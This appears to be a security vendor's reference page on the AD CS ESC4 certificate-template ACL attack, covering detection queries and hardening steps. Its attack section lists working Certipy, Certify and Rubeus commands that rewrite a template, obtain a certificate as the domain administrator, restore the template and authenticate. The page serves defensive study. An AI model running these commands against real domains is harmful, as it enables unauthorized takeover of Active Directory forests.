1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC4: Vulnerable Certificate Template ACL

Also known as: ESC4, Template hijacking, Certificate template ACL abuse, WriteProperty on certificate template

A user with write access to a certificate template rewrites it into an ESC1 template, enrolls as a Domain Admin, then restores the original settings.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Owner, GenericAll, GenericWrite, WriteDacl, WriteOwner or WriteProperty on a certificate template object that an enterprise CA publishes.
What the attacker gains
A template the attacker controls and, through it, a logon certificate for any user or computer in the forest. A planted ACE keeps the path open.
Threat groups
APT29NIMBUS MANTICOREGroups that MITRE ATT&CK records using T1649.

How it works

A certificate template is an object in the forest's configuration partition, under CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration. Its attributes decide who the certificate names, what it can be used for and whether a person must approve the request. Its security descriptor decides who may enroll and who may edit it. ESC4 is the case where someone outside the PKI team can edit it.

The template isn't vulnerable by itself. The attacker makes it vulnerable. With write access they set the same conditions that define ESC1, request a certificate for a privileged account, and put the original values back. The rights that allow this:

Right on the template What it allows
Owner Implicit control of the DACL, and from there any attribute
GenericAll (Full Control) Any attribute and the DACL
GenericWrite, WriteProperty Any attribute, or the single attribute the ACE names
WriteDacl Add an ACE that grants WriteProperty or Enroll
WriteOwner Take ownership, then change the DACL

The attributes that matter:

Attribute Change
msPKI-Certificate-Name-Flag Set CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) so the requester names the subject
msPKI-Enrollment-Flag Clear CT_FLAG_PEND_ALL_REQUESTS (0x2) to remove manager approval
msPKI-RA-Signature Set to 0 to remove the authorized signature requirement
pKIExtendedKeyUsage, msPKI-Certificate-Application-Policy Add Client Authentication
nTSecurityDescriptor Grant Enroll to the attacker

The same access can also set up ESC2, ESC3, ESC9 or ESC13 conditions instead. The template must be published by a CA; write access to an unpublished template needs a second right to publish it, which is ESC5.

Persistence through template ACEs

The reverse use is persistence. An attacker who already controls the domain adds a WriteDacl, WriteOwner or GenericAll ACE for an account they own on one or more templates. After the incident is cleaned up and passwords are reset, that ACE lets them repeat the attack. The Certified Pre-Owned research files this under DPERSIST3, malicious ACLs on PKI objects, and it works like an AdminSDHolder backdoor for the PKI.

Prerequisites

  • A domain account that holds one of the rights above on a template, directly or through a group. Typical causes are delegation to help desk or server teams, an old owner who has since changed roles, and broad groups such as Authenticated Users given write access by mistake.
  • The template is published on an enterprise CA, and the attacker can request certificates from that CA.
  • Network access to a domain controller (LDAP) and the CA.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find templates you can write to

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

Certipy lists write access under Object Control Permissions for each template and flags it as ESC4. On Windows:

Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins

The raw ACL can be read with built-in tools:

dsacls "CN=SecureFiles,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=example,DC=com" /A

2. Save the template and rewrite it

Certipy can save the current configuration to a file and then overwrite the template with a default configuration that is vulnerable to ESC1:

certipy template -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -template 'SecureFiles' \
    -save-configuration 'SecureFiles.json'

certipy template -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -template 'SecureFiles' \
    -write-default-configuration

-write-default-configuration also writes a backup before it changes anything, unless -no-save is given. -force skips the confirmation prompt.

Certify changes one setting at a time. Each switch toggles the setting, so read the template first:

Certify.exe manage-template --template SecureFiles --enroll S-1-5-21-1004336348-1177238915-682003330-1104
Certify.exe manage-template --template SecureFiles --manager-approval
Certify.exe manage-template --template SecureFiles --authorized-signatures 0
Certify.exe manage-template --template SecureFiles --client-auth
Certify.exe manage-template --template SecureFiles --supply-subject

With only WriteDacl or ownership, grant write access first. With only WriteOwner, take ownership first:

Certify.exe manage-template --template SecureFiles --owner S-1-5-21-1004336348-1177238915-682003330-1104
Certify.exe manage-template --template SecureFiles --write-property S-1-5-21-1004336348-1177238915-682003330-1104

3. Request a certificate as the target

The template now behaves like an ESC1 template:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'SecureFiles' \
    -upn 'administrator@corp.example.com' \
    -sid 'S-1-5-21-1004336348-1177238915-682003330-500'

An enterprise CA polls the directory for template changes. If it still answers with the old behavior, it has not loaded the new configuration yet: wait a few minutes and request again.

4. Restore the template

certipy template -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -template 'SecureFiles' \
    -write-configuration 'SecureFiles.json' -no-save

5. Authenticate

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-or-path-to-pfx> /domain:corp.example.com /dc:DC01.corp.example.com /ptt /nowrap

Impact

Write access to one published template is equivalent to the right to impersonate any account in the forest, because the attacker can turn that template into whatever the next step needs. In practice it is privilege escalation from a delegated or forgotten permission to Domain Admin.

Two side effects matter to defenders. While the template is rewritten, others can abuse it too: Certipy's default configuration opens it to every authenticated user. And if the attacker doesn't restore it, or restores it badly, legitimate enrollment from that template breaks or stays exposed.

OPSEC and artifacts

  • Short window. Operators save the configuration, rewrite, request and restore within a few minutes, so a scheduled configuration scan rarely sees the vulnerable state. Each write still produces event 5136 on the domain controller when Directory Service Changes auditing and a SACL on the template are in place, once per attribute and operation, with the account that made the change.
  • Whole-template overwrite. Certipy's default configuration replaces the security descriptor (Full Control for Authenticated Users), the EKUs, the name and enrollment flags and the signature requirement together. That is a burst of 5136 events for one object within a second, and for as long as it stays in place any authenticated user can enroll. An operator who wants less noise flips only the attributes that block the attack.
  • CA template events. With EDITF_AUDITCERTTEMPLATELOAD set and the CA's "Change CA configuration" audit category on, the CA writes event 4899 (template updated) and event 4900 (template security updated) when it next handles an enrollment for the changed template, and event 4898 when it loads one.
  • The request. Event 4886 and event 4887 on the CA record the attacker as requester and, in the newer event version, the subject alternative name of the impersonated account. The certificate stays in the CA database after the template is restored.
  • Backup file. The saved JSON configuration, the PFX and the ccache remain on the attacker's host.
  • Persistence ACEs. A planted ACE is a single 5136 for nTSecurityDescriptor and then nothing until it is used. It is found by comparing template DACLs and owners against a baseline, not by waiting for events.

Detection

  • Template attribute changes. Alert on 5136 for pKICertificateTemplate objects where the attribute is msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, msPKI-RA-Signature, pKIExtendedKeyUsage, msPKI-Certificate-Application-Policy or nTSecurityDescriptor. The certificate template modification rules implement this, along with the CA's 4899 and 4900.
  • Change, request, change. The same account modifying a template, a certificate issued from that template within minutes, and a second set of modifications. The pattern is specific to ESC4.
  • Actor. Template changes are rare and made by a handful of PKI administrators. Any other account is worth an investigation, whatever the attribute.
  • The issued certificate. A 4887 whose subject alternative name does not match the requester, as for ESC1.
  • Failed mappings. A request made without the target's SID against domain controllers in Full Enforcement leaves KDC events in the System log, covered by the certificate mapping rules.
// Changes to the settings and permissions of certificate templates
WindowsEvent
| where EventID == 5136 and Provider == "Microsoft-Windows-Security-Auditing"
| extend ObjectDN = tostring(EventData.ObjectDN),
         AttributeName = tostring(EventData.AttributeLDAPDisplayName),
         Actor = tostring(EventData.SubjectUserName),
         Value = tostring(EventData.AttributeValue),
         Operation = tostring(EventData.OperationType),
         CorrelationId = tostring(EventData.OpCorrelationID)
| where ObjectDN contains "CN=Certificate Templates,CN=Public Key Services"
| where AttributeName in~ ("msPKI-Certificate-Name-Flag", "msPKI-Enrollment-Flag", "msPKI-RA-Signature",
    "msPKI-Certificate-Application-Policy", "msPKI-RA-Application-Policies", "pKIExtendedKeyUsage",
    "nTSecurityDescriptor")
| project TimeGenerated, Computer, Actor, ObjectDN, AttributeName, Value, Operation, CorrelationId
| order by TimeGenerated desc

A change usually appears as a "value deleted" and a "value added" event with the same correlation ID; compare the two to see what moved. Event 5136 is written only for objects whose SACL audits the write, so add an audit entry for Everyone that covers property writes and permission changes on the Certificate Templates container and its descendants.

Mitigation

  • Remove write access from templates. Only Tier 0 PKI administrators (Enterprise Admins, the domain's administrators and a dedicated PKI admin group) should hold Owner, Full Control, Write, WriteDacl or WriteOwner on any template. Check inherited ACEs from the Certificate Templates and Public Key Services containers as well.
  • Fix ownership. Templates created by a delegated administrator are owned by that account. Set the owner to Enterprise Admins.
  • Separate Enroll from Write. Groups that enroll need Read and Enroll, nothing more. This is least privilege applied to the PKI, and over-broad template ACLs are among the common Active Directory misconfigurations.
  • Baseline and compare. Export each template's attributes, DACL and owner, and compare on a schedule. This is the only reliable way to find a planted persistence ACE.
  • Unpublish templates that are not in use, so that write access to them has no effect without a second right on the CA.
  • Audit. Enable Audit Directory Service Changes on domain controllers and add the SACL above; the Active Directory audit policy guide shows how. On the CA, set EDITF_AUDITCERTTEMPLATELOAD and enable the configuration audit category so events 4898 to 4900 are written.
  • After an incident, restore the template from a known-good export, revoke every certificate issued from it during the exposure window and publish a CRL.
  • Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.

Detection rules for this attack

Log events to collect

FAQ

Which permissions on a certificate template are dangerous?

Ownership, GenericAll (Full Control), GenericWrite, WriteProperty on the whole object, WriteDacl and WriteOwner. WriteProperty limited to one attribute is narrower: it gives only what that attribute controls, for example msPKI-Certificate-Name-Flag for the enrollee-supplies-subject setting or msPKI-Enrollment-Flag for manager approval.

Why is ESC4 hard to find after the fact?

The attacker usually restores the template within minutes, so a later configuration scan shows a safe template. What remains are the directory change events (5136) for the template attributes and the CA's record of the certificate that was issued in between.

Do template changes take effect on the CA immediately?

Not always. An enterprise CA polls the directory for template changes, so a request made straight after a change can still be judged against the old settings. It can take minutes or longer, and attackers retry. For the same reason the CA's own template change events (4899 and 4900) are written only at the next enrollment for that template.

How is ESC4 different from ESC5?

ESC4 is write access to a certificate template object. ESC5 is write access to other PKI objects: the CA's enrollment service object, the Certificate Templates container, the NTAuth store or the CA server's computer account. Both end with certificates the attacker should not be able to get.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.